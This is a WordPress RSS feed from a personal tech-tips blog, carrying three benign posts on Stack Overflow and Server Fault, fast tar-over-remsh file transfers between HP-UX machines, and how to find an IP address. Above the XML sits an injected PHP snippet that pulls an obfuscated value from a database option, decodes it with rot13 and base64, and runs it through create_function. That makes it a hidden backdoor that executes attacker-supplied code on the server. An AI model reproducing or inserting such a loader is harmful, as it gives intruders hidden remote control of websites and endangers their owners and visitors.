<? /**/ ?>
<?
$z=get_option("_transient_feed_99e5d264eeaa8c05e17c5eed4140b1dd"); $z=base64_decode(str_rot13($z)); if(strpos($z,"A0ED8507")!==false){ $_z=create_function("",$z); @$_z(); }
 /**/ ?>
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Dr Jan's Tips From The Top &#187; networks</title>
	<atom:link href="http://www.dr-jan.com/tips/category/networks/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dr-jan.com/tips</link>
	<description>Handy hints and techy tips from Dr Jan.</description>
	<lastBuildDate>Tue, 15 May 2012 22:11:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>stackoverflow.com and serverfault.com</title>
		<link>http://www.dr-jan.com/tips/2009/05/31/stackoverflowcom-and-serverfaultcom/</link>
		<comments>http://www.dr-jan.com/tips/2009/05/31/stackoverflowcom-and-serverfaultcom/#comments</comments>
		<pubDate>Sun, 31 May 2009 18:22:31 +0000</pubDate>
		<dc:creator>drjan</dc:creator>
				<category><![CDATA[backups]]></category>
		<category><![CDATA[hardware]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[macintosh]]></category>
		<category><![CDATA[networks]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[Jeff Atwood]]></category>
		<category><![CDATA[joel spolsky]]></category>
		<category><![CDATA[serverfault]]></category>
		<category><![CDATA[stackoverflow]]></category>

		<guid isPermaLink="false">http://www.dr-jan.com/tips/?p=53</guid>
		<description><![CDATA[Gosh, I seem to have been rather remiss in not mentioning these web sites before. You&#8217;ll have to excuse my ageing brain OK, first things first, stackoverflow.com. This is a joint venture between Joel Spolsky and Jeff Atwood. It&#8217;s a programmer&#8217;s question and answer site. Probably the best description I&#8217;ve heard is It&#8217;s Expert&#8217;s Exchange [...]]]></description>
			<content:encoded><![CDATA[<p>Gosh, I seem to have been rather remiss in not mentioning these web sites before. You&#8217;ll have to excuse my ageing brain <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>OK, first things first, <a href="http://stackoverflow.com">stackoverflow.com</a>. This is a joint venture between <a href="http://www.joelonsoftware.com/">Joel Spolsky</a> and <a href="http://www.codinghorror.com">Jeff Atwood</a>. It&#8217;s a programmer&#8217;s question and answer site. Probably the best description I&#8217;ve heard is </p>
<blockquote><p>It&#8217;s Expert&#8217;s Exchange without the suck.</p></blockquote>
<p>Anyone can ask a programming-related question, and normally an answer will be posted within a few minutes &#8211; that&#8217;s how active the user community is. It&#8217;s likely that there will be a number of answers for any given question, and the asker can select their &#8216;best&#8217; answer.</p>
<p>If you register on the site (using <a href="http://openid.net/">OpenID</a>) you will collect &#8216;reputation&#8217; or &#8216;karma&#8217; points and &#8216;medals&#8217; as you use the site. Anyone (above a small threshold of karma) can vote both questions and answers up or down, so in theory the best answer should find its way to the top of the list.</p>
<p>Stackoverflow.com has been around for several months now and is proving to be an invaluable resource. Googling for almost any programming-related question will probably get a result on stackoverflow.com.</p>
<p>Just this week <a href="http://serverfault.com/">serverfault.com</a> has come out of private beta. This is very similar to stackoverflow.com, except that the focus is server, network and system administration rather than programming. Of course, there is a fair overlap between the two sites in terms of users.</p>
<p>You may also be interested in the weekly <a href="http://itc.conversationsnetwork.org/series/stackoverflow.html">podcast</a> by Jeff and Joel, which is always worth a listen.</p>
<p>I can heartily recommend both sites &#8211; obviously it depends on your focus as to which (if either) will be useful to you.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dr-jan.com/tips/2009/05/31/stackoverflowcom-and-serverfaultcom/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Transferring Lots Of Small Data</title>
		<link>http://www.dr-jan.com/tips/2006/11/23/transferring-lots-of-small-data/</link>
		<comments>http://www.dr-jan.com/tips/2006/11/23/transferring-lots-of-small-data/#comments</comments>
		<pubDate>Thu, 23 Nov 2006 20:41:37 +0000</pubDate>
		<dc:creator>drjan</dc:creator>
				<category><![CDATA[backups]]></category>
		<category><![CDATA[networks]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://www.dr-jan.com/tips/2006/11/23/transferring-lots-of-small-data/</guid>
		<description><![CDATA[I was in the situation recently where I needed to transfer about 500Gb of data from one HP-UX box to another. Unfortunately most of these data were in small files &#8211; the largest probably a megabyte or so. I ran some speed tests. We had gigabit ethernet connecting the 2 boxes on a little used [...]]]></description>
			<content:encoded><![CDATA[<p>I was in the situation recently where I needed to transfer about 500Gb of data from one HP-UX box to another.</p>
<p>Unfortunately most of these data were in small files &#8211; the largest probably a megabyte or so.</p>
<p>I ran some speed tests. We had gigabit ethernet connecting the 2 boxes on a little used LAN.</p>
<p>I wrote a small script to start 6 copy processes in parallel and another to periodically measure how much disk space had been used on the target machine.</p>
<p>I found that 6 simultaneous scp commands ran at about 15Mb/s (Megabytes per second). scp has the overhead of encrypting the data stream before it is transferred, so I tried plain old rcp as well. That gave me worse results than scp.</p>
<p>Thinking that the large number of small files was slowing things down I tried using tar to batch up the files. I wrote a tiny script to pipe the output of the tar command across to the target machine directly in to a receiving tar process which unbundled the files.</p>
<p>The tar approach almost doubled the rate of transfer to about 30Mb/s.</p>
<p>Here are the tar commands. Note that you&#8217;ll need to enable r-commands by creating .rhosts files in the home directories of each machine (remove these after they copy is complete &#8211; they are notorious security problems). Note also that, as usual, HP-UX is awkward &#8211; whereas the rest of the world uses &#8216;rsh&#8217; for the remote-shell command, HP-UX uses &#8216;remsh&#8217;. &#8216;rsh&#8217; is some kind of <em>restricted</em> shell in HP parlance.</p>
<pre>box1> cd source_directory; tar cf - . | remsh box2 "cd target_directory; tar xf - "</pre>
<p>The first tar command creates a file called &#8216;-&#8217;, which is a special token meaning &#8216;standard output&#8217; in this case. The archive created contains all the files in the current directory (.) plus all subdirectories (tar is recursive by default). This archive file is piped into the remsh command which sends it to the box2 machine. On box 2 I first change to the proper receiving directory, then I extract from &#8216;-&#8217;, or &#8216;standard input&#8217; the incoming files.</p>
<p>I had 6 of these tar commands running simultaneously to ensure the network link was saturated with data, although I suspect that disk access may have been the limiting factor.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dr-jan.com/tips/2006/11/23/transferring-lots-of-small-data/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What&#8217;s My IP Address?</title>
		<link>http://www.dr-jan.com/tips/2006/09/03/whats-my-ip-address/</link>
		<comments>http://www.dr-jan.com/tips/2006/09/03/whats-my-ip-address/#comments</comments>
		<pubDate>Sun, 03 Sep 2006 00:13:23 +0000</pubDate>
		<dc:creator>tips</dc:creator>
				<category><![CDATA[networks]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.dr-jan.com/tips/2006/09/03/whats-my-ip-address/</guid>
		<description><![CDATA[That&#8217;s an interesting question! First the High Level Overview For Beginners OK, maybe first we should ask &#8216;Why do we care?&#8217; IP stands for Internet Protocol. It&#8217;s part of the TCP/IP (Transmission Control Protocol / Internet Protocol) network protocol which is used, pretty much, by all computers connected to a network. By network I mean [...]]]></description>
			<content:encoded><![CDATA[<p>That&#8217;s an interesting question!</p>
<h3>First the High Level Overview For Beginners</h3>
<p>OK, maybe first we should ask &#8216;Why do we care?&#8217; <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>IP stands for Internet Protocol. It&#8217;s part of the TCP/IP (Transmission Control Protocol / Internet Protocol) network protocol which is used, pretty much, by all computers connected to a network. By network I mean a LAN or Local Area Network used in businesses, or the connection from your computer to your Internet Service Provider (ISP), for example. Even if you use a modem to dial your ISP over a standard phone line, once you&#8217;re connected your computer will be using TCP/IP to talk to your ISP&#8217;s computers.</p>
<p>To make TCP/IP work, every computer connected to a network must have a unique IP address. IP addresses are usually written as 4 numbers separated by dots, for example, 192.168.0.10. Each of the 4 numbers can be in the range 0 to 255, although 0 and 255 themselves are special values which are not normally used.</p>
<p>Your IP address can be compared to the address of the building where you are now (assuming you&#8217;re not reading this on a mobile device outside somewhere). Every building has a unique address, so the post office can deliver letters and parcels to the right destination. Every computer needs a unique address, so that packets of information (like parts of a web page or an email) can be delivered correctly.</p>
<h3>More Details For The Interested</h3>
<p>For home users, your ISP assigns IP addresses to your computer. If you dial-up, every time you make a connection you are assigned an IP address. When you hang up your connection, that IP address is made available for other callers. If you have a broadband connection then you will have what I&#8217;ll call a semi-static IP address. Because your broadband connection is always on, in theory, once you have an IP address you should keep it. In practice, your IP address may change if you power-cycle your cable modem or your ADSL modem.</p>
<p>The system which runs on the ISP&#8217;s computers which keeps track of who currently has which IP address is referred to as the Dynamic Host Configuration Protocol, or (more commonly) DHCP. DHCP is normally configured with a pool of IP addresses. When a computer wants to join a network (for example, when you dial up your ISP) it will request a new IP address from the DHCP server. The DHCP server will allocate one of the addresses in the pool and log the details for future reference.<br />
As you can imagine, referring to computers by a sequence of numbers is not a very convenient thing to do (unless you&#8217;re a computer), so often as well as an IP address a computer will have a public name. This is the case for most computers connected to the internet. Names are easier for us humans to deal with than IP addresses, and there&#8217;s a system in place called DNS (the Domain Name System) which translates IP address to names and vice versa.</p>
<p>This means that rather than referring to 198.63.34.251, I can type www.dr-jan.com into my browser instead &#8211; much easier <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  Both methods should work &#8211; try typing the IP address directly into a new browser window and you should see a lovely yellow home page <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>The computer which hosts my web site has a fixed IP address &#8211; it will never change, even if the computer is re-booted. This is A Good Thing because otherwise no-one would be able to find my website if it was suddenly using a new IP address. Generally speaking, computers which host websites and other web-based services will have fixed IP addresses, whilst home users and others will have dynamic addresses.</p>
<h3>Technical Details For Experts</h3>
<p>How you find out what your current IP address is depends on your operating system.</p>
<p>If you are using Windows NT, 2000 or XP, start a command window (Start|Run|cmd or Start|Run|command) and enter the command &#8216;ipconfig&#8217;. ipconfig /all should give you more information.</p>
<p>Windows 95, 98 and probably ME, start a command window as above, but run &#8216;winipcfg&#8217; instead of &#8216;ipconfig&#8217; and you should see a handy window appear with all the relevant details shown.</p>
<p>For Linux users, ifconfig is your friend. Unless you&#8217;re the root user you may need to specify the full path (normally &#8216;/sbin/ifconfig&#8217;).</p>
<p>For SUN Solaris, ifconfig -a should give you the required details.</p>
<p>HP-UX is awkward, as usual. You&#8217;ll need to run &#8216;lanscan&#8217; to find out what LAN adapters you have, then use ifconfig lan_adapter_name. For example, ifconfig lan0.</p>
<p>Digital Unix uses ifconfig -a.</p>
<h3>Footnotes and Disclaimers</h3>
<p>I&#8217;m not an expert in Windows, so please let me know if you have any updates for the information presented here.</p>
<p>Hopefully my Unix and Linux knowledge is more reliable, although I&#8217;m always pleased to receive updates for that too <img src='http://www.dr-jan.com/tips/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dr-jan.com/tips/2006/09/03/whats-my-ip-address/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

